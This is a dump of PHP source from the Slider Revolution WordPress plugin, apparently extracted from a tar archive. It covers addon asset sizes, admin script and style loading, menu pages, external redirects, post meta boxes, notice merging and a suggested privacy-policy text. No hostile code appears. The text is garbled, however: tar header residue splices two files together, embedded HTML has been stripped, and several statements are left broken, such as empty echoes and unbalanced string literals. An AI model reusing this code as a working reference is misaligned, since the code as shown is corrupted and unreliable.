.'revolution.addon.duotone.min.js' => 1232 ), 'revslider-explodinglayers-addon' => array( $_css .'revolution.addon.explodinglayers.css' => 704, $_js .'revolution.addon.explodinglayers.min.js' => 19012 ), 'revslider-featured-addon' => array(), 'revslider-filmstrip-addon' => array( $_css .'revolution.addon.filmstrip.css' => 843, $_js .'revolution.addon.filmstrip.min.js' => 5409 ), 'revslider-gallery-addon' => array(), 'revslider-liquideffect-addon' => array( $_css .'revolution.addon.liquideffect.css' => 606, $_js .'pixi.min.js' => 514062, $_js .'revolution.addon.liquideffect.min.js' => 11899 ), 'revslider-login-addon' => array(), 'revslider-maintenance-addon' => array(), 'revslider-paintbrush-addon' => array( $_css .'revolution.addon.paintbrush.css' => 676, $_js .'revolution.addon.paintbrush.min.js' => 6841 ), 'revslider-panorama-addon' => array( $_css .'revolution.addon.panorama.css' => 1823, $_js .'three.min.js' => 504432, $_js .'revolution.addon.panorama.min.js' => 12909 ), 'revslider-particles-addon' => array( $_css .'revolution.addon.particles.css' => 668, $_js .'revolution.addon.particles.min.js' => 33963 ), 'revslider-polyfold-addon' => array( $_css .'revolution.addon.polyfold.css' => 900, $_js .'revolution.addon.polyfold.min.js' => 5125 ), 'revslider-prevnext-posts-addon' => array(), 'revslider-refresh-addon' => array( $_js .'revolution.addon.refresh.min.js' => 920 ), 'revslider-rel-posts-addon' => array(), 'revslider-revealer-addon' => array( $_css .'revolution.addon.revealer.css' => 792, $_css .'revolution.addon.revealer.preloaders.css' => 14792, $_js .'revolution.addon.revealer.min.js' => 7533 ), 'revslider-sharing-addon' => array( $_js .'revslider-sharing-addon-public.js' => 6232 ), 'revslider-slicey-addon' => array( $_js .'revolution.addon.slicey.min.js' => 4772 ), 'revslider-snow-addon' => array( $_js .'revolution.addon.snow.min.js' => 4823 ), 'revslider-template-addon' => array(), 'revslider-typewriter-addon' => array( $_css .'typewriter.css' => 233, $_js .'revolution.addon.typewriter.min.js' => 8038 ), 'revslider-weather-addon' => array( $_css .'revslider-weather-addon-icon.css' => 3699, $_css .'revslider-weather-addon-public.css' => 483, $_css .'weather-icons.css' => 31082, $_js .'revslider-weather-addon-public.js' => 5335 ), 'revslider-whiteboard-addon' => array( $_js .'revolution.addon.whiteboard.min.js' => 10649 ) ); //AddOns can apply/modify the default data here $_a = apply_filters('revslider_create_slider_page', $_a, $_css, $_js, $this); foreach($addons as $addon){ if(!isset($_a[$addon])) continue; $sizes[$addon] = 0; if(!empty($_a[$addon])){ foreach($_a[$addon] as $size){ $sizes[$addon] += $size; } } //$sizes[$addon] = $_a[$addon]; } return $sizes; } /** * returns a list of found compressions * @since. 6.1.4 **/ public function compression_settings(){ $match = array(); $com = array('gzip', 'compress', 'deflate', 'br'); //'identity' -> means no compression prefered $enc = $this->get_val($_SERVER, 'HTTP_ACCEPT_ENCODING'); if(empty($enc)) return $match; foreach($com as $c){ if(strpos($enc, $c) !== false) $match[] = $c; } return $match; } /** * get all available languages from Slider Revolution **/ public function get_available_languages(){ $lang_codes = array( 'de_DE' => __('German', 'revslider'), 'en_US' => __('English', 'revslider'), 'fr_FR' => __('French', 'revslider'), 'zh_CN' => __('Chinese', 'revslider') ); $lang = get_available_languages(RS_PLUGIN_PATH.'languages/'); $_lang = array(); if(!empty($lang)){ foreach($lang as $k => $v){ if(strpos($v, 'revsliderhelp-') !== false) continue; $_lc = str_replace('revslider-', '', $v); $_lang[$_lc] = (isset($lang_codes[$_lc])) ? $lang_codes[$_lc] : $_lc; } } return $_lang; } /** * function to check if the current page is a post/page in edit mode */ public function is_edit_page(){ if(!is_admin()) return false; global $pagenow; global $wp_version; if(version_compare($wp_version, '5.8', '>=')){ return in_array($pagenow, array('post.php', 'post-new.php', 'widgets.php')); } else{ return in_array($pagenow, array('post.php', 'post-new.php')); } } }admin/includes/index.php000060400000000033151724235750011265 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderAdmin extends RevSliderFunctionsAdmin { private $view = 'slider'; private $user_role = 'administrator'; private $global_settings = array(); private $screens = array(); //holds all RevSlider Relevant screens in it private $allowed_views = array('sliders', 'slider', 'slide', 'update'); //holds pages, that are allowed to be included private $pages = array('revslider'); //, 'revslider_navigation', 'rev_addon', 'revslider_global_settings' private $dev_mode = false; private $path_views; /** * START: DEPRECATED FUNCTIONS PRIOR 6.2.0 THAT ARE IN HERE FOR OLD THEMES TO WORK PROPERLY **/ /** * Activate the Plugin through the ThemePunch Servers * @before: RevSliderOperations::checkPurchaseVerification(); * @moved to RevSliderLicense::activate_plugin(); **/ public function activate_plugin($code){ $rs_license = new RevSliderLicense(); return $rs_license->activate_plugin($code); } /** * Deactivate the Plugin through the ThemePunch Servers * @before: RevSliderOperations::doPurchaseDeactivation(); * @moved to RevSliderLicense::deactivate_plugin(); **/ public function deactivate_plugin(){ $rs_license = new RevSliderLicense(); return $rs_license->deactivate_plugin(); } /** * END: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * construct admin part **/ public function __construct(){ parent::__construct(); if(!file_exists(RS_PLUGIN_PATH.'admin/assets/js/plugins/utils.min.js') && !file_exists(RS_PLUGIN_PATH.'admin/assets/js/modules/editor.min.js')){ $this->dev_mode = true; } $this->path_views = RS_PLUGIN_PATH . 'admin/views/'; $this->global_settings = $this->get_global_settings(); $this->set_current_page(); $this->set_user_role(); $this->do_update_checks(); $this->add_actions(); $this->add_filters(); } /** * enqueue all admin styles **/ public function enqueue_admin_styles(){ global $pagenow; if(!in_array($this->get_val($_GET, 'page'), $this->pages) && !$this->is_edit_page() && (!isset($pagenow) || $pagenow !== 'plugins.php')) return; $f = new RevSliderFunctions(); $gs = $f->get_global_settings(); $fdl = $f->get_val($gs, 'fontdownload', 'off'); if($fdl === 'off'){ $url_css = $f->modify_fonts_url('https://fonts.googleapis.com/css?family='); $url_material = str_replace('css?', 'icon?', $url_css); wp_enqueue_style('rs-open-sans', $url_css.'Open+Sans:400,300,700,600,800'); wp_enqueue_style('rs-roboto', $url_css.'Roboto'); wp_enqueue_style('tp-material-icons', $url_material.'Material+Icons'); }elseif($fdl === 'preload'){ $fonts = array('Open Sans' => 'Open+Sans:400%2C300%2C700%2C600%2C800', 'Roboto' => 'Roboto:400%2C300%2C700%2C500');//, 'Material Icons' => 'Material+Icons' $html = $f->preload_fonts($fonts); if(!empty($html)) echo $html; echo "\n\n"; }//disable => load on your own //wp_enqueue_style('revslider-global-styles', RS_PLUGIN_URL . 'admin/assets/css/global.css', array(), RS_REVISION); wp_enqueue_style(array('wp-jquery-ui', 'wp-jquery-ui-core', 'wp-jquery-ui-dialog', 'wp-color-picker')); wp_enqueue_style('revbuilder-color-picker-css', RS_PLUGIN_URL . 'admin/assets/css/tp-color-picker.css', array(), RS_REVISION); wp_enqueue_style('revbuilder-ddTP', RS_PLUGIN_URL . 'admin/assets/css/ddTP.css', array(), RS_REVISION); //wp_enqueue_style('RevMirror-css', RS_PLUGIN_URL .'admin/assets/css/RevMirror.css', array(), RS_REVISION); wp_enqueue_style('rs-frontend-settings', RS_PLUGIN_URL . 'public/assets/css/rs6.css', array(), RS_REVISION); wp_enqueue_style('rs-icon-set-fa-icon-', RS_PLUGIN_URL . 'public/assets/fonts/font-awesome/css/font-awesome.css', array(), RS_REVISION); wp_enqueue_style('rs-icon-set-pe-7s-', RS_PLUGIN_URL . 'public/assets/fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css', array(), RS_REVISION); wp_enqueue_style('revslider-basics-css', RS_PLUGIN_URL . 'admin/assets/css/basics.css', array(), RS_REVISION); //'rs-new-plugin-settings' wp_enqueue_style('rs-new-plugin-settings', RS_PLUGIN_URL . 'admin/assets/css/builder.css', array('revslider-basics-css'), RS_REVISION); if(is_rtl()){ wp_enqueue_style('rs-new-plugin-settings-rtl', RS_PLUGIN_URL . 'admin/assets/css/builder-rtl.css', array('rs-new-plugin-settings'), RS_REVISION); } } /** * enqueue all admin scripts **/ public function enqueue_admin_scripts(){ global $pagenow; if(!in_array($this->get_val($_GET, 'page'), $this->pages) && !$this->is_edit_page() && (!isset($pagenow) || $pagenow !== 'plugins.php')) return; wp_enqueue_script(array('jquery', 'jquery-ui-core', 'jquery-ui-mouse', 'jquery-ui-accordion', 'jquery-ui-datepicker', 'jquery-ui-dialog', 'jquery-ui-slider', 'jquery-ui-autocomplete', 'jquery-ui-sortable', 'jquery-ui-droppable', 'jquery-ui-tabs', 'jquery-ui-widget', 'wp-color-picker', 'wpdialogs', 'updates')); wp_enqueue_script(array('wp-color-picker')); //include all media upload scripts $this->add_media_upload_includes(); global $wp_scripts; $view = $this->get_val($_GET, 'view'); wp_enqueue_script('jquery-ui-droppable', array('jquery'), RS_REVISION); /** * dequeue tp-tools to make sure that always the latest is loaded **/ if(version_compare($this->get_val($wp_scripts, array('registered', 'tp-tools', 'ver'), '1.0'), RS_TP_TOOLS, '<')){ wp_deregister_script('tp-tools'); wp_dequeue_script('tp-tools'); } wp_enqueue_script('tp-tools', RS_PLUGIN_URL . 'public/assets/js/rbtools.min.js', array(), RS_TP_TOOLS); if($this->dev_mode){ wp_enqueue_script('revbuilder-admin', RS_PLUGIN_URL . 'admin/assets/js/modules/admin.js', array('jquery'), RS_REVISION, false); wp_localize_script('revbuilder-admin', 'RVS_LANG', $this->get_javascript_multilanguage()); //Load multilanguage for JavaScript wp_enqueue_script('revbuilder-basics', RS_PLUGIN_URL . 'admin/assets/js/modules/basics.js', array('jquery'), RS_REVISION, false); wp_enqueue_script('revbuilder-ddTP', RS_PLUGIN_URL . 'admin/assets/js/plugins/ddTP.js', array('jquery'), RS_REVISION, false); wp_enqueue_script('revbuilder-color-picker-js', RS_PLUGIN_URL . 'admin/assets/js/plugins/tp-color-picker.min.js', array('jquery', 'revbuilder-ddTP', 'wp-color-picker'), RS_REVISION); wp_enqueue_script('revbuilder-clipboard', RS_PLUGIN_URL . 'admin/assets/js/plugins/clipboard.min.js', array('jquery'), RS_REVISION, false); wp_enqueue_script('revbuilder-objectlibrary', RS_PLUGIN_URL . 'admin/assets/js/modules/objectlibrary.js', array('jquery'), RS_REVISION, false); wp_enqueue_script('revbuilder-optimizer', RS_PLUGIN_URL . 'admin/assets/js/modules/optimizer.js', array('jquery'), RS_REVISION, false); }else{ wp_enqueue_script('revbuilder-admin', RS_PLUGIN_URL . 'admin/assets/js/modules/admin.min.js', array('jquery'), RS_REVISION, false); wp_localize_script('revbuilder-admin', 'RVS_LANG', $this->get_javascript_multilanguage()); //Load multilanguage for JavaScript wp_enqueue_script('revbuilder-utils', RS_PLUGIN_URL . 'admin/assets/js/plugins/utils.min.js', array('jquery', 'wp-color-picker'), RS_REVISION, false); } if($view == 'slide' && $this->dev_mode){ wp_enqueue_script('revbuilder-help', RS_PLUGIN_URL . 'admin/assets/js/modules/helpinit.js', array('jquery', 'revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-toolbar', RS_PLUGIN_URL . 'admin/assets/js/modules/rightclick.js', array('jquery', 'revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-effects', RS_PLUGIN_URL . 'admin/assets/js/modules/timeline.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-panzoom', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.panzoom.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-slideanim', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.slideanims.js', array('jquery','revbuilder-admin'), RS_REVISION, false); //wp_enqueue_script('revbuilder-threejs', RS_PLUGIN_URL . 'public/assets/js/libs/three.min.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-layer', RS_PLUGIN_URL . 'admin/assets/js/modules/layer.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-layertools', RS_PLUGIN_URL . 'admin/assets/js/modules/layertools.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-quick-style', RS_PLUGIN_URL . 'admin/assets/js/modules/quickstyle.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-navigations', RS_PLUGIN_URL . 'admin/assets/js/modules/navigation.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-layeractions', RS_PLUGIN_URL . 'admin/assets/js/modules/layeractions.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-layerlist', RS_PLUGIN_URL . 'admin/assets/js/modules/layerlist.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-slide', RS_PLUGIN_URL . 'admin/assets/js/modules/slide.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder-slider', RS_PLUGIN_URL . 'admin/assets/js/modules/slider.js', array('jquery','revbuilder-admin'), RS_REVISION, false); wp_enqueue_script('revbuilder', RS_PLUGIN_URL . 'admin/assets/js/builder.js', array('jquery','revbuilder-admin', 'jquery-ui-sortable'), RS_REVISION, false); add_action('admin_print_scripts', array($this, 'add_editor_mode'), 1); }elseif($view == 'slide' && !$this->dev_mode){ wp_enqueue_script('revbuilder-editor', RS_PLUGIN_URL . 'admin/assets/js/modules/editor.min.js', array('jquery', 'revbuilder-admin', 'jquery-ui-sortable'), RS_REVISION, false); add_action('admin_print_scripts', array($this, 'add_editor_mode'), 1); } if($view == '' || $view == 'sliders'){ if($this->dev_mode){ wp_enqueue_script('revbuilder-overview', RS_PLUGIN_URL . 'admin/assets/js/modules/overview.js', array('jquery'), RS_REVISION, false); }else{ wp_enqueue_script('revbuilder-overview', RS_PLUGIN_URL . 'admin/assets/js/modules/overview.min.js', array('jquery'), RS_REVISION, false); } if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){ wp_enqueue_script('revmin', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.main.js', 'tp-tools', RS_REVISION, false); //if on, load all libraries instead of dynamically loading them wp_enqueue_script('revmin-actions', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.actions.js', 'tp-tools', RS_REVISION, false); wp_enqueue_script('revmin-carousel', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.carousel.js', 'tp-tools', RS_REVISION, false); wp_enqueue_script('revmin-layeranimation', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.layeranimation.js', 'tp-tools', RS_REVISION, false); wp_enqueue_script('revmin-navigation', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.navigation.js', 'tp-tools', RS_REVISION, false); wp_enqueue_script('revmin-panzoom', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.panzoom.js', 'tp-tools', RS_REVISION, false); wp_enqueue_script('revmin-parallax', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.parallax.js', 'tp-tools', RS_REVISION, false); wp_enqueue_script('revmin-slideanims', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.slideanims.js', 'tp-tools', RS_REVISION, false); //wp_enqueue_script('revmin-threejs', RS_PLUGIN_URL . 'public/assets/js/libs/three.min.js', 'tp-tools', RS_REVISION, false); wp_enqueue_script('revmin-video', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.video.js', 'tp-tools', RS_REVISION, false); }else{ wp_enqueue_script('revmin', RS_PLUGIN_URL . 'public/assets/js/rs6.min.js', array('jquery', 'tp-tools'), RS_REVISION, false); } } } /** * adds needed JavaScript to the header * to tell the scripts that we are in the editor * @since: 6.4.0 **/ public function add_editor_mode(){ echo ''."\n"; } /** * add all js and css needed for media upload */ protected static function add_media_upload_includes(){ if(function_exists('wp_enqueue_media')){ wp_enqueue_media(); } wp_enqueue_script('thickbox'); wp_enqueue_script('media-upload'); wp_enqueue_style('thickbox'); } /** * Load the plugin text domain for translation. */ public function load_plugin_textdomain(){ load_plugin_textdomain('revslider', false, dirname(RS_PLUGIN_SLUG_PATH) . '/languages/'); load_plugin_textdomain('revsliderhelp', false, dirname(RS_PLUGIN_SLUG_PATH) . '/languages/'); } /** * set the user role, to restrict plugin usage to certain groups * @since: 6.0 **/ public function set_user_role(){ $this->user_role = $this->get_val($this->global_settings, 'permission', 'administrator'); if($this->user_role === 'admin') $this->user_role = 'administrator'; if(!in_array($this->user_role, array('author', 'editor', 'administrator'))) $this->user_role = 'administrator'; switch($this->user_role){ case 'author': $this->user_role = 'edit_published_posts'; break; case 'editor': $this->user_role = 'edit_pages'; break; default: case 'admin': case 'administrator': $this->user_role = 'manage_options'; break; } } /** * add the admin pages to the WordPress backend * @since: 6.0 **/ public function add_admin_pages(){ //$this->screens[] = add_menu_page('Slider Revolution', 'Slider Revolution', $this->user_role, 'revslider', array($this, 'display_admin_page'), 'dashicons-update'); $tp_premium = get_option('revslider-valid', 'false'); $tp_ticket = $tp_premium !== 'true' ? ' class="revslider_premium"' : ''; $this->screens[] = add_menu_page('Slider Revolution', 'Slider Revolution', $this->user_role, 'revslider', null, 'dashicons-update'); $this->screens[] = add_submenu_page('revslider', __('Slider Revolution - Overview', 'revslider'), __('Overview', 'revslider'), $this->user_role, 'revslider', array($this, 'display_admin_page')); $this->screens[] = add_submenu_page('revslider', '', __('', 'revslider'), $this->user_role, 'revslider-documentation', array($this, 'display_external_redirects')); $this->screens[] = add_submenu_page('revslider', '', __('', 'revslider'), $this->user_role, 'revslider-help-center', array($this, 'display_external_redirects')); $this->screens[] = add_submenu_page('revslider', '', __('', 'revslider'), $this->user_role, 'revslider-templates', array($this, 'display_external_redirects')); $this->screens[] = add_submenu_page('revslider', '', __('', 'revslider'), $this->user_role, 'revslider-ticket', array($this, 'display_external_redirects')); if($tp_premium !== 'true'){ $this->screens[] = add_submenu_page('revslider', '', '", $this->user_role, 'revslider-buy-license', array($this, 'display_external_redirects')); } } /** * opens the external sliderrevolution.com menu URLs in a blank tab * @since 6.5.11 */ public function add_js_menu_open_blank() { echo ''; } /** * redirect to external URLs * @since 6.5.10 */ public function display_external_redirects() { $page = $this->get_val($_GET, 'page'); if(empty($page)) return; $tp_premium = get_option('revslider-valid', 'false'); switch ( $page ) { case 'revslider-buy-license': wp_redirect('https://account.sliderrevolution.com/portal/pricing/?utm_source=admin&utm_medium=menu&utm_campaign=srusers&utm_content=buykey'); exit; break; case 'revslider-documentation': wp_redirect('https://www.sliderrevolution.com/manual/quick-setup-register-your-plugin/?utm_source=admin&utm_medium=menu&utm_campaign=srusers&utm_content=usedocumentation&premium='.$tp_premium); exit; break; case 'revslider-help-center': wp_redirect('https://www.sliderrevolution.com/help-center?utm_source=admin&utm_medium=menu&utm_campaign=srusers&utm_content=help&premium='.$tp_premium); exit; break; case 'revslider-templates': wp_redirect('https://www.sliderrevolution.com/examples?utm_source=admin&utm_medium=menu&utm_campaign=srusers&utm_content=templates&premium='.$tp_premium); exit; break; case 'revslider-ticket': wp_redirect('https://support.sliderrevolution.com?utm_source=admin&utm_medium=menu&utm_campaign=srusers&utm_content=support&premium='.$tp_premium); exit; break; default: break; } return; } /** * add wildcards metabox variables to posts * @var $post_types: null = all, post = only posts */ public function add_slider_meta_box($post_types = null){ try { $post_types = array(); add_meta_box('slider_revolution_metabox', 'Slider Revolution', array('RevSliderAdmin', 'add_meta_box_content'), $post_types, 'side', 'default'); } catch (Exception $e){} } /** * on add metabox content */ public static function add_meta_box_content($post, $boxData){ call_user_func(array('RevSliderAdmin', 'custom_post_fields_output')); } /** * custom output function */ public static function custom_post_fields_output(){ $slider = new RevSliderSlider(); $output = array(); $output['default'] = 'default'; $meta = get_post_meta(get_the_ID(), 'slide_template', true); $meta = ($meta == '') ? 'default' : $meta; $page_bg = get_post_meta(get_the_ID(), 'rs_page_bg_color', true); $page_bg = ($page_bg == '') ? '' : $page_bg; $blank = get_page_template_slug(get_the_ID()) == "../public/views/revslider-page-template.php"; $blankcheck = $blank ? 'checked' : ''; $hide_page_bg = $blank ? '' : 'style="display:none;"'; $slides = $slider->get_sliders_with_slides_short('template'); $output = $output + $slides; //union arrays $latest_version = get_option('revslider-latest-version', RS_REVISION); ?>
            • class="" type="checkbox" >
            • >
            • flag
              cloud_download
            get('RevSliderFunctions'); $post_id = $f->get_post_var('ID'); if(defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return $post_id; //protection against autosave if(empty($post_id)) return false; // Slide Template $slide_template = $f->get_post_var('slide_template'); if(in_array($slide_template, array('', 'default'))){ delete_post_meta($post_id, 'slide_template'); }else{ update_post_meta($post_id, 'slide_template', $slide_template); } // Blank Page Template Background Color $rs_page_bg_color = $f->get_post_var('rs_page_bg_color'); if(strtolower($rs_page_bg_color) === '#ffffff'){ delete_post_meta($post_id, 'rs_page_bg_color'); }else{ update_post_meta($post_id, 'rs_page_bg_color', $rs_page_bg_color); } // Set/Unset Blank Template depending on Blank Template Switch $rs_blank_template = $f->get_post_var('rs_blank_template'); if(empty($rs_blank_template) && !empty($rs_page_bg_color) && get_post_meta($post_id, '_wp_page_template', true) == '../public/views/revslider-page-template.php'){ update_post_meta($post_id, '_wp_page_template',''); } if(!empty($rs_blank_template) && $rs_blank_template == 'on'){ update_post_meta($post_id, '_wp_page_template','../public/views/revslider-page-template.php'); } } /** * we dont want to show notices in our plugin **/ public function hide_notices(){ if(in_array($this->get_val($_GET, 'page'), $this->pages)){ remove_all_actions('admin_notices'); } } /** * check if we need to search for updates, if yes. Do them **/ private function do_update_checks(){ $upgrade = new RevSliderUpdate(RS_REVISION); $library = new RevSliderObjectLibrary(); $template = new RevSliderTemplate(); $validated = get_option('revslider-valid', 'false'); $stablev = get_option('revslider-stable-version', '0'); $uol = isset($_REQUEST['update_object_library']); $library->_get_list($uol); $us = isset($_REQUEST['update_shop']); $template->_get_template_list($us); $upgrade->force = in_array($this->get_val($_REQUEST, 'checkforupdates', 'false'), array('true', true), true); $upgrade->_retrieve_version_info(); $upgrade->add_update_checks(); } /** * Add Classes to the WordPress body * @since 6.0 * @param string $classes * @return string */ function modify_admin_body_class($classes){ $classes .= ($this->get_val($_GET, 'page') == 'revslider' && $this->get_val($_GET, 'view') == 'slide') ? ' rs-builder-mode' : ''; $classes .= ($this->_truefalse($this->get_val($this->global_settings, 'highContrast', false)) === true && $this->get_val($_GET, 'page') === 'revslider') ? ' rs-high-contrast' : ''; return $classes; } /** * Add all actions that the backend needs here **/ public function add_actions(){ global $pagenow; $cache = RevSliderGlobals::instance()->get('RevSliderCache'); add_action('plugins_loaded', array($this, 'load_plugin_textdomain')); add_action('admin_head', array($this, 'hide_notices'), 1); add_action('admin_menu', array($this, 'add_admin_pages')); add_action('admin_init', array($this, 'display_external_redirects')); add_action('admin_head', array($this, 'add_js_menu_open_blank')); add_action('add_meta_boxes', array($this, 'add_slider_meta_box')); add_action('save_post', array($this, 'on_save_post')); add_action('admin_enqueue_scripts', array($this, 'enqueue_admin_styles')); add_action('admin_enqueue_scripts', array($this, 'enqueue_admin_scripts')); add_action('wp_ajax_revslider_ajax_action', array($this, 'do_ajax_action')); //owasp rule may disallow this one, so please use rs_ajax_action instead add_action('wp_ajax_rs_ajax_action', array($this, 'do_ajax_action')); //ajax response to save slider options. add_action('wp_ajax_revslider_ajax_call_front', array($this, 'do_front_ajax_action')); add_action('wp_ajax_nopriv_revslider_ajax_call_front', array($this, 'do_front_ajax_action')); //for not logged in users add_action('save_post', array($cache, 'check_for_post_transient_deletion')); add_action('future_to_publish', array($cache, 'check_for_post_transient_deletion')); add_action('publish_post', array($cache, 'check_for_post_transient_deletion')); add_action('publish_future_post', array($cache, 'check_for_post_transient_deletion')); if(isset($pagenow) && $pagenow == 'plugins.php'){ add_action('admin_notices', array($this, 'add_plugins_page_notices')); if(get_option('revslider-valid', 'false') == 'false'){ add_filter('plugin_action_links_' . RS_PLUGIN_SLUG_PATH, array($this, 'add_plugin_action_links')); } } add_action('admin_init', array($this, 'merge_addon_notices'), 99); add_action('admin_init', array($this, 'add_suggested_privacy_content'), 15); add_action('admin_init', array($this, 'open_welcome_page')); $instagram = RevSliderGlobals::instance()->get('RevSliderInstagram'); $instagram->add_actions(); $facebook = RevSliderGlobals::instance()->get('RevSliderFacebook'); $facebook->add_actions(); } /** * Add all filters that the backend needs here **/ public function add_filters(){ add_filter('admin_body_class', array($this, 'modify_admin_body_class')); add_filter('plugin_locale', array($this, 'change_lang'), 10, 2); } /** * Change the language of the Slider Backend even if WordPress is set to be a different language * @since: 6.1.6 **/ public function change_lang($locale, $domain = ''){ return (in_array($domain, array('revslider', 'revsliderhelp'), true)) ? $this->get_val($this->global_settings, 'lang', 'default') : $locale; } /** * merge the revslider addon notices into one bigger notice * @since: 2.2.0 **/ public function merge_addon_notices(){ global $wp_filter; if(!isset($wp_filter['admin_notices'])) return; if(!isset($wp_filter['admin_notices']->callbacks)) return; global $revslider_addon_notice_merged; $slugs = array( 'Revslider_404_Addon_Verify', 'RsAddOnBackupNotice', 'RsAddOnBeforeAfterNotice', 'RsAddOnBubblemorphNotice', 'Revslider_Domain_Switch_Addon_Verify', 'RsAddOnDuotoneNotice', 'RsAddOnExplodinglayersNotice', 'Revslider_Featured_Addon_Verify', 'RsAddOnFilmstripNotice', 'Revslider_Gallery_Addon_Verify', 'RsAddOnLiquideffectNotice', 'Revslider_Login_Addon_Verify', 'Revslider_Maintenance_Addon_Verify', 'RsAddOnMousetrapNotice', 'RsAddOnPaintbrushNotice', 'RsAddOnPanoramaNotice', 'RsAddOnParticlesNotice', 'RsAddOnPolyfoldNotice', 'Revslider_Prev_Next_Addon_Verify', 'RsAddOnRefreshNotice', 'Revslider_Related_Posts_Addon_Verify', 'RsAddOnRevealerNotice', 'RsAddOnShapebuilderNotice', 'Revslider_Sharing_Addon_Verify', 'RsAddOnSliceyNotice', 'RsAddOnSnowNotice', 'RsAddOnSunbeamNotice', 'RsAddOnTypewriterNotice', 'Revslider_Weather_Addon_Verify', 'Revslider_Whiteboard_Addon_Verify', 'Revslider_Whiteboard_Addon_Verify' ); foreach($wp_filter['admin_notices']->callbacks as $k => $o){ if(!empty($o)){ foreach($o as $ok => $f){ if(!isset($f['function'])) continue; if(!is_array($f['function'])) continue; if(!isset($f['function'][0])) continue; if(!is_object($f['function'][0])) continue; $class = get_class($f['function'][0]); if(in_array($class, $slugs, true)){ unset($wp_filter['admin_notices']->callbacks[$k][$ok]); $revslider_addon_notice_merged++; } } } } if($revslider_addon_notice_merged > 0){ add_action('admin_notices', array($this, 'add_addon_plugins_page_notices')); } } /** * add addon merged notices * @since: 6.2.0 **/ public function add_addon_plugins_page_notices(){ ?> $plugin){ $slug = dirname($plugin_id); if(empty($slug) || $slug !== 'revslider') continue; if(get_option('revslider-valid', 'false') == 'false' && version_compare(get_option('revslider-latest-version', RS_REVISION), $plugin['Version'], '>')){ add_action('after_plugin_row_' . $plugin_id, array('RevSliderAdmin', 'show_purchase_notice'), 10, 3); add_action('admin_footer', array('RevSliderAdmin', 'add_ajax_footer_functionality')); } break; } } /** * Show message for activation benefits **/ public static function show_purchase_notice($plugin_file, $plugin_data, $plugin_status){ $wp_list_table = _get_list_table( 'WP_Plugins_List_Table' ); $rs_latest_version = get_option('revslider-latest-version', RS_REVISION); $revision = str_replace('.', '-', $rs_latest_version); ?>

            '.$rs_latest_version.') of Slider Revolution available. To update directly register your license key now or purchase a new license key to access all premium features.', 'revslider'); ?>

            '.__('Go Premium', 'revslider').''; return $links; } /** * Add the suggested privacy policy text to the policy postbox. */ public function add_suggested_privacy_content() { if(function_exists('wp_add_privacy_policy_content')){ $content = $this->get_default_privacy_content(); wp_add_privacy_policy_content(__('Slider Revolution'), $content); } } /** * Return the default suggested privacy policy content. * * @return string The default policy content. */ public function get_default_privacy_content(){ return __('

            In case you’re using Google Web Fonts (default) or playing videos or sounds via YouTube or Vimeo in Slider Revolution we recommend to add the corresponding text phrase to your privacy police:

            YouTube

            Our website uses plugins from YouTube, which is operated by Google. The operator of the pages is YouTube LLC, 901 Cherry Ave., San Bruno, CA 94066, USA.

            If you visit one of our pages featuring a YouTube plugin, a connection to the YouTube servers is established. Here the YouTube server is informed about which of our pages you have visited.

            If you\'re logged in to your YouTube account, YouTube allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your YouTube account.

            YouTube is used to help make our website appealing. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            Further information about handling user data, can be found in the data protection declaration of YouTube under https://www.google.de/intl/de/policies/privacy.

            Vimeo

            Our website uses features provided by the Vimeo video portal. This service is provided by Vimeo Inc., 555 West 18th Street, New York, New York 10011, USA.

            If you visit one of our pages featuring a Vimeo plugin, a connection to the Vimeo servers is established. Here the Vimeo server is informed about which of our pages you have visited. In addition, Vimeo will receive your IP address. This also applies if you are not logged in to Vimeo when you visit our plugin or do not have a Vimeo account. The information is transmitted to a Vimeo server in the US, where it is stored.

            If you are logged in to your Vimeo account, Vimeo allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your Vimeo account.

            For more information on how to handle user data, please refer to the Vimeo Privacy Policy at https://vimeo.com/privacy.

            Google Web Fonts

            For uniform representation of fonts, this page uses web fonts provided by Google. When you open a page, your browser loads the required web fonts into your browser cache to display texts and fonts correctly.

            For this purpose your browser has to establish a direct connection to Google servers. Google thus becomes aware that our web page was accessed via your IP address. The use of Google Web fonts is done in the interest of a uniform and attractive presentation of our plugin. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            If your browser does not support web fonts, a standard font is used by your computer.

            Further information about handling user data, can be found at https://developers.google.com/fonts/faq and in Google\'s privacy policy at https://www.google.com/policies/privacy/.

            SoundCloud

